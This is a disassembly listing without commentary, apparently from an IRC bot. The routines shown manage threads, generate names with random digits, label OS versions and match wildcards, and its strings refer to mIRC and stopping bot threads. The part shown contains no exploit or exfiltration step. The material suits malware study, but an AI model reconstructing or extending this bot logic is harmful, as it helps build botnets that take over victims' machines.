loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431258
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431258
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43125C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C047Ah
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_431284


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431280
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_43127C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43126C
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431268


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431260
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26807BDh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431290
		jnz	short loc_40B022
		mov	eax, offset dword_43D128


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431288
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431290
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D594


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D60C
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D598[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22C4E50h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431390h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 268082Dh
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317AC
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431410, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431418


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
